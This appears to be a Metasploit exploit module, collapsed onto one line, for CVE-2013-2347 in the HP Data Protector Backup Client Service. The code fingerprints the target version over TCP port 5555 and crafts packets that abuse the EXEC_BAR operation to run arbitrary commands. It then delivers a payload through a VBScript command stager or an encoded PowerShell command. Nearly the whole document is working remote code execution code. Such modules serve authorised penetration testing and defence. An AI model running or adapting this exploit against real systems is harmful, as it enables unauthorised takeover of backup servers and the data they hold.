## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector Backup Client Service Remote Code Execution', 'Description' => %q{ This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code execution. The vulnerability exists in the EXEC_BAR operation, which allows to execute arbitrary processes. This module has been tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2. }, 'Author' => [ 'Aniway.Anyway ', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2347' ], [ 'BID', '64647' ], [ 'ZDI', '14-008' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ], [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => [ [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', { } ], [ 'HP Data Protector 6.20 build 370 / Powershell', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) register_options( [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) ], self.class) end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end print_status("#{peer} - HP Data Protector version #{fingerprint}") if fingerprint =~ /HP Data Protector A\.06\.(\d+)/ minor = $1.to_i else return Exploit::CheckCode::Safe end if minor < 21 return Exploit::CheckCode::Appears elsif minor == 21 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Detected end end def exploit if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion execute_cmdstager({:linemax => 7500}) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "") if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") end print_status("#{peer} - Exploiting through Powershell...") exec_bar(datastore['CMDPATH'], command, "\x00") end end def peer "#{rhost}:#{rport}" end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint ommni = connect ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null end def exec_bar(cmd, *args) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "11", # Opcode EXEC_BAR rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "#{cmd}", # Executable rand_text_alpha(8) ].concat(args)) sock.put(pkt) # In my testings the default timeout (10) isn't enough begin res = sock.get_once(-1, 20) rescue EOFError # happens when using the Powershell method disconnect return end fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res) disconnect end def exec_bar?(data) return false if data.blank? data_unpacked = data.unpack("NnVv") data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0 end def execute_command(cmd, opts = {}) exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00") end def get_vbs_string(str) vbs_str = "" str.each_byte { |b| vbs_str << "Chr(#{b})+" } return vbs_str.chomp("+") end # Make the modifications required to the specific encoder # This exploit uses an specific encoder because quotes (") # aren't allowed when injecting commands def execute_cmdstager_begin(opts) var_decoded = @stager_instance.instance_variable_get(:@var_decoded) var_encoded = @stager_instance.instance_variable_get(:@var_encoded) decoded_file = "#{var_decoded}.exe" encoded_file = "#{var_encoded}.b64" @cmd_list.each do |command| # Because the exploit kills cscript processes to speed up and reliability command.gsub!(/cscript \/\/nologo/, "wscript //nologo") command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) end end end